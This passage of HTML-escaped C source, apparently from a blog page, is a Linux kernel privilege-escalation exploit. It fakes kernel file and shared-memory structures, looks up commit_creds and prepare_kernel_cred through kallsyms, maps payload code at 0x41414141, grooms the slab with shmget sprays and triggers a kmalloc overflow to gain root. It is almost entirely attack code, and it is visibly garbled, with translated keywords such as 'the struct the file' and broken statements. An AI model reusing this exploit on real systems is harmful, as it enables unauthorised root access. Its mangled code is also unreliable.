/&gt;struct list_head mnt_mounts;&lt;br /&gt;struct list_head mnt_child;&lt;br /&gt;int mnt_flags;&lt;br /&gt;const char * mnt_devname;&lt;br /&gt;struct list_head mnt_list;&lt;br /&gt;struct list_head mnt_expire;&lt;br /&gt;struct list_head mnt_share;&lt;br /&gt;struct list_head mnt_slave_list;&lt;br /&gt;struct list_head mnt_slave;&lt;br /&gt;struct vfsmount * mnt_master;&lt;br /&gt;struct mnt_namespace * mnt_ns;&lt;br /&gt;int mnt_id;&lt;br /&gt;int mnt_group_id;&lt;br /&gt;int mnt_count;&lt;br /&gt;} Vfsmount;&lt;br /&gt;&lt;br /&gt;the struct the file {&lt;br /&gt;struct list_head fu_list;&lt;br /&gt;struct vfsmount * f_vfsmnt;&lt;br /&gt;struct the dentry * f_dentry;&lt;br /&gt;void * f_op is;&lt;br /&gt;unsigned int f_lock;&lt;br /&gt;unsigned long f_count;&lt;br /&gt;} The file;&lt;br /&gt;&lt;br /&gt;struct kern_ipc_perm {&lt;br /&gt;unsigned int lock;&lt;br /&gt;int deleted;&lt;br /&gt;int id;&lt;br /&gt;unsigned int the key;&lt;br /&gt;unsigned int uid;&lt;br /&gt;unsigned int gid;&lt;br /&gt;unsigned int cuid;&lt;br /&gt;unsigned int cgid;&lt;br /&gt;unsigned int mode;&lt;br /&gt;unsigned int seq;&lt;br /&gt;void * security;&lt;br /&gt;;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;struct shmid_kernel {&lt;br /&gt;struct kern_ipc_perm shm_perm;&lt;br /&gt;struct file * shm_file;&lt;br /&gt;unsigned long shm_nattch;&lt;br /&gt;unsigned long shm_segsz;&lt;br /&gt;time_t shm_atim;&lt;br /&gt;time_t shm_dtim;&lt;br /&gt;time_t shm_ctim;&lt;br /&gt;unsigned int shm_cprid;&lt;br /&gt;unsigned int shm_lprid;&lt;br /&gt;void * mlock_user;&lt;br /&gt;} Shmid_kernel;&lt;br /&gt;&lt;br /&gt;typedef int __ attribute__ ((regparm (3))) (* _commit_creds) (unsigned long cred);&lt;br /&gt;typedef unsigned long __ attribute__ ((regparm (3))) (* _prepare_kernel_cred) (unsigned long cred);&lt;br /&gt;_commit_creds commit_creds;&lt;br /&gt;_prepare_kernel_cred prepare_kernel_cred;&lt;br /&gt;&lt;br /&gt;static inline my_syscall2 (long, kmalloc_overflow_test, char *, addr, int, size);&lt;br /&gt;&lt;br /&gt;int __ attribute__ ((regparm (3)))&lt;br /&gt;kernel_code (struct file * file, void * vma)&lt;br /&gt;{&lt;br /&gt;commit_creds (prepare_kernel_cred (0));&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;unsigned long find_symbol_by_proc (char * file_name, char * symbol_name)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE * s_fp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buff [200];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char * p = NULL, * p1 = NULL;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; an unsigned long addr = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s_fp = fopen (file_name, "r");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (s_fp == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf ("open% s is failed \ n", file_name);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (fgets (buff, 200, s_fp)! = NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (of strstr (buff symbol_name) = NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buff [strlen (buff) - 1] = '\ 0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p = strchr (the strchr (buff, '') + 1, '');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + + P;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! p) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! strcmp (p, symbol_name)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p1 = the strchr (buff, '');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * P1 = '\ 0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sscanf (buff, "% lx", &amp;amp; addr);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; / / Addr = strtoul (buff, NULL, 16);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf ("[+] found% s, addr at 0x% x \ n",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; symbol_name, addr);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose (s_fp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return addr;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int check_slab (char * slab_name, int * active, int * total)&lt;br /&gt;{&lt;br /&gt;FILE * fp;&lt;br /&gt;a char buff [1024], name [64];&lt;br /&gt;int active_num, total_num;&lt;br /&gt;&lt;br /&gt;fp = fopen ("/ proc / slabinfo", "r");&lt;br /&gt;if (! fp) {&lt;br /&gt;given by the perror ("fopen");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while (fgets (buff, 1024, fp)! = NULL) {&lt;br /&gt;sscanf (buff, "% s% u% u", name, &amp;amp; active_num, &amp;amp; total_num);&lt;br /&gt;if (! strcmp (slab_name, name)) {&lt;br /&gt;* Active = active_num;&lt;br /&gt;* Total = total_num;&lt;br /&gt;return total_num - active_num;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void clear_old_shm (void)&lt;br /&gt;{&lt;br /&gt;char * cmd = "for shmid in` cat / proc / sysvipc / shm | awk '{print $ 2}' `;"&lt;br /&gt;"Do ipcrm-m $ shmid&amp;gt; / dev / null 2&amp;gt; &amp;amp;1; done;";&lt;br /&gt;&lt;br /&gt;system (cmd);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void mmap_init (void)&lt;br /&gt;{&lt;br /&gt;a void * the payload;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the payload = mmap ((void *) (0x41414141 &amp;amp; 0xfff are), 2 * 4096&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((long) the payload == -1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf ("[*] Failed to the mmap () at the target address. \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;printf ("[+] mmaping kernel code at 0x41414141 ok. \ n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; memcpy ((void *) 0x41414141, &amp;amp; kernel_code, 1024);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void setup (void)&lt;br /&gt;{&lt;br /&gt;printf ("[+] looking for symbols ... \ n");&lt;br /&gt;&lt;br /&gt;commit_creds = (_commit_creds)&lt;br /&gt;find_symbol_by_proc (KALLSYMS_NAME, "commit_creds");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! commit_creds) {&lt;br /&gt;printf ("[-] not found commit_creds addr. \ n");&lt;br /&gt;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;prepare_kernel_cred =&lt;br /&gt;(_prepare_kernel_cred) Find_symbol_by_proc (KALLSYMS_NAME,&lt;br /&gt;"Prepare_kernel_cred");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (! prepare_kernel_cred) {&lt;br /&gt;printf ("[-] not found prepare_kernel_cred addr. \ n");&lt;br /&gt;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;printf ("[+] setting up the exploit the payload ... \ n");&lt;br /&gt;&lt;br /&gt;super_block.s_flags = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inode.i_size = 4096;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inode.i_sb = &amp;amp; super_block;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inode.inotify_watches.next = &amp;amp; inode.inotify_watches;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inode.inotify_watches.prev = &amp;amp; inode.inotify_watches;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; inode.inotify_mutex.count = 1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dentry.d_count = 4096;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dentry.d_flags = 4096;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dentry.d_parent = NULL;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dentry.d_inode = &amp;amp;inode;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; op.mmap = &amp;amp; kernel_code;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; op.get_unmapped_area = &amp;amp; kernel_code;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; vfsmount.mnt_flags = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; vfsmount.mnt_count =;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file.fu_list.prev = &amp;amp; file.fu_list;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file.fu_list.next = &amp;amp; file.fu_list;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file.f_dentry = &amp;amp;dentry;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file.f_vfsmnt = &amp;amp;vfsmount;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file.f_op = &amp;amp;op;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.key = IPC_PRIVATE;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.uid = 501;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.gid = 501;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.cuid = getuid ();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.cgid = getgid ();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_perm.mode = -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmid_kernel.shm_file = &amp;amp;file;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int trigger (void)&lt;br /&gt;{&lt;br /&gt;int * shmids;&lt;br /&gt;int total_num, active_num, free_num;&lt;br /&gt;int base, free_idx, i;&lt;br /&gt;int ret;&lt;br /&gt;char buff [1024];&lt;br /&gt;&lt;br /&gt;clear_old_shm ();&lt;br /&gt;&lt;br /&gt;free_num = check_slab (SLAB_NAME, &amp;amp; active_num, &amp;amp; total_num);&lt;br /&gt;fprintf (stdout, "[+] checking the slab total:% d of the active:% d free in:% d \ n",&lt;br /&gt;total_num, active_num, total_num - active_num);&lt;br /&gt;&lt;br /&gt;shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));&lt;br /&gt;&lt;br /&gt;fprintf (stdout, "[+] smashing free in the slab ... \ n");&lt;br /&gt;for (i = 0; i &amp;lt; free_num + SLAB_NUM; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (!check_slab(SLAB_NAME, &amp;amp;active_num, &amp;amp;total_num))&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (shmids[i] &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;perror("shmget");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;base = i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i, total_num, active_num, total_num - active_num);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fprintf(stdout, "[+] smashing adjacent slab ...\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;i = base;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;for (; i &amp;lt; base + SLAB_NUM; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (shmids[i] &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; perror("shmget");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;check_slab(SLAB_NAME, &amp;amp;active_num, &amp;amp;total_num);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i, total_num, active_num, total_num - active_num);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//free_idx = base + SLAB_NUM - 4;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;free_idx = i - 4;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;perror("shmctl");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;sleep(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;memset(buff, 0x41, sizeof(buff));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;memcpy(&amp;amp;buff[SLAB_SIZE + HDRLEN_KMALLOC], &amp;amp;shmid_kernel, sizeof(shmid_kernel));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;//memcpy(&amp;amp;buff[SLAB_SIZE], &amp;amp;shmid_kernel, sizeof(shmid_kernel));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));&lt;br 